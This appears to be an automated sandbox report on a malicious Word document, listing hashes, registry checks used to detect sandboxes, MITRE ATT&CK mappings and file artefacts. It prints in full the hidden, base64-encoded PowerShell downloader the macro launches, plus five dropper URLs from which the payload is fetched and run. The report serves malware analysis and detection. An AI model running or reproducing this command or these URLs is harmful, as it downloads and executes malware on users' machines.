cbe211b861dc2be493adca32c4aee58497cfff1ddc12eaae2674d29f5c17cd05

General

Target

cbe211b861dc2be493adca32c4aee58497cfff1ddc12eaae2674d29f5c17cd05.doc
Size

182KB
MD5

e8a18b46b455212871125295f28dcedb
SHA1

a7155f42dbe76fa85dbe418875668a63d411812c
SHA256

cbe211b861dc2be493adca32c4aee58497cfff1ddc12eaae2674d29f5c17cd05
SHA512

ff551cc8a61dd89415d3a276c4801f146825fecd00ef5a1c92a8d8962c09e68dc8a0237ea15d5a14d26c5a6cf86981484c5ce3e812e922a769059999319eea16
SSDEEP

3072:iy2y/GdyaktGDWLS0HZWD5w8K7Nk9AGD7IBU4gmGhhjn98:iy2k44tGiL3HJk9AGD7b4gm6hjny

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://hanserefelektrik.com/wp-content/o0zEZ17669/

exe.dropper

http://governessfilms.com/cgi-bin/gnbw2/

exe.dropper

http://forming-a.com/mysql/0s53/

exe.dropper

http://harbour-springs.webonlinepro.com/cgi-bin/pdviP01/

exe.dropper

http://gomitra.com/aspnet_client/xkwsJj/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	860	3664	Powershell.exe	85

Blocklisted process makes network request 4 IoCs

flow	pid	Process
29	860	Powershell.exe
31	860	Powershell.exe
35	860	Powershell.exe
38	860	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
860	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1888	WINWORD.EXE
1888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
860	Powershell.exe
860	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	860	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1888	WINWORD.EXE
1888	WINWORD.EXE
1888	WINWORD.EXE
1888	WINWORD.EXE
1888	WINWORD.EXE
1888	WINWORD.EXE
1888	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1888 wrote to memory of 4944	1888	WINWORD.EXE	87
PID 1888 wrote to memory of 4944	1888	WINWORD.EXE	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cbe211b861dc2be493adca32c4aee58497cfff1ddc12eaae2674d29f5c17cd05.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1888
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4944

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABZAHgAcABmAHYAaQByAGwAawA9ACcARwBsAGsAYgBqAGMAagBxAHUAJwA7ACQAQQBnAGMAeQBiAGcAdABtAGwAbQBlAGMAIAA9ACAAJwAyADcANQAnADsAJABYAHMAcgBqAGwAbQBuAHQAdQByAD0AJwBaAGMAbAB3AGsAZABwAHYAdwBzAHUAdQBpACcAOwAkAEQAeAB4AHoAeQB3AHkAYwB4AHgAcwByAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAZwBjAHkAYgBnAHQAbQBsAG0AZQBjACsAJwAuAGUAeABlACcAOwAkAEoAdQBsAG0AeQBzAGwAcwA9ACcAWgBnAHkAdwBtAGwAcABvACcAOwAkAEcAYQBnAHYAYwBrAG4AZgBmAGwAdwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgB3AEUAYgBDAEwAaQBFAG4AdAA7ACQATABsAHoAdABsAG8AaQBrAGUAYwA9ACcAaAB0AHQAcAA6AC8ALwBoAGEAbgBzAGUAcgBlAGYAZQBsAGUAawB0AHIAaQBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAwAHoARQBaADEANwA2ADYAOQAvACoAaAB0AHQAcAA6AC8ALwBnAG8AdgBlAHIAbgBlAHMAcwBmAGkAbABtAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBnAG4AYgB3ADIALwAqAGgAdAB0AHAAOgAvAC8AZgBvAHIAbQBpAG4AZwAtAGEALgBjAG8AbQAvAG0AeQBzAHEAbAAvADAAcwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AaABhAHIAYgBvAHUAcgAtAHMAcAByAGkAbgBnAHMALgB3AGUAYgBvAG4AbABpAG4AZQBwAHIAbwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHAAZAB2AGkAUAAwADEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAG0AaQB0AHIAYQAuAGMAbwBtAC8AYQBzAHAAbgBlAHQAXwBjAGwAaQBlAG4AdAAvAHgAawB3AHMASgBqAC8AJwAuACIAUwBwAGwAYABJAFQAIgAoACcAKgAnACkAOwAkAEcAcQBuAGYAcQByAGsAcAA9ACcAWABhAGEAawBkAHoAaQBlAHoAZgBuAGsAeQAnADsAZgBvAHIAZQBhAGMAaAAoACQASQB5AGMAdABiAGoAcABoAG0AbwB2ACAAaQBuACAAJABMAGwAegB0AGwAbwBpAGsAZQBjACkAewB0AHIAeQB7ACQARwBhAGcAdgBjAGsAbgBmAGYAbAB3AC4AIgBkAGAATwB3AE4AbABvAGAAQQBEAEYASQBgAEwARQAiACgAJABJAHkAYwB0AGIAagBwAGgAbQBvAHYALAAgACQARAB4AHgAegB5AHcAeQBjAHgAeABzAHIAcgApADsAJABYAHIAeQBrAGgAZQBnAHcAagB2AD0AJwBGAHcAZwBpAHcAbwBvAGcAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEQAeAB4AHoAeQB3AHkAYwB4AHgAcwByAHIAKQAuACIATABlAE4AYABnAGAAVABoACIAIAAtAGcAZQAgADIANAA3ADUAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABEAHgAeAB6AHkAdwB5AGMAeAB4AHMAcgByACkAOwAkAE4AYwBrAHAAZwBuAHcAcwB2AHUAcwBhAD0AJwBXAHQAcQBkAHEAcABsAHMAYwAnADsAYgByAGUAYQBrADsAJABYAHEAdgBqAGwAbQByAGQAZgB4AGUAdQA9ACcAVgB6AHoAbABsAGQAZwB4AHIAcgB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAeABoAHUAegBjAHgAaQB4AGEAaQBqAD0AJwBXAGYAaAByAHoAegBuAHYAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C9099A6C.wmf

Filesize
444B

MD5
6fda58c86765989aee119d02bf13d04a

SHA1
c906d13b17020c4a24bb79842f3d8657ce8063fa

SHA256
0ab47ab8323d36712440cb885e7b92dd74c7194565ef61f965a1da8dffcbe600

SHA512
571c368a8aa96e620edb39348bbab512b09ce419ce6546a59966d46c51a6cd4fe8c5fafc6555a83095256861c17da81054a85ebeea50611413df9c91745bc492

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDB232.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fqbnrrm.4nf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/860-65-0x000001E73A4C0000-0x000001E73A4E2000-memory.dmp

Filesize
136KB

Download
memory/1888-10-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-20-0x00007FFA64800000-0x00007FFA64810000-memory.dmp

Filesize
64KB

Download
memory/1888-5-0x00007FFA668B0000-0x00007FFA668C0000-memory.dmp

Filesize
64KB

Download
memory/1888-11-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-7-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-6-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-2-0x00007FFA668B0000-0x00007FFA668C0000-memory.dmp

Filesize
64KB

Download
memory/1888-13-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-14-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-16-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-17-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-18-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-19-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-9-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-15-0x00007FFA64800000-0x00007FFA64810000-memory.dmp

Filesize
64KB

Download
memory/1888-12-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-8-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-0-0x00007FFA668B0000-0x00007FFA668C0000-memory.dmp

Filesize
64KB

Download
memory/1888-1-0x00007FFAA68CD000-0x00007FFAA68CE000-memory.dmp

Filesize
4KB

Download
memory/1888-3-0x00007FFA668B0000-0x00007FFA668C0000-memory.dmp

Filesize
64KB

Download
memory/1888-76-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-78-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-77-0x00007FFAA68CD000-0x00007FFAA68CE000-memory.dmp

Filesize
4KB

Download
memory/1888-81-0x00007FFAA6830000-0x00007FFAA6A25000-memory.dmp

Filesize
2.0MB

Download
memory/1888-4-0x00007FFA668B0000-0x00007FFA668C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads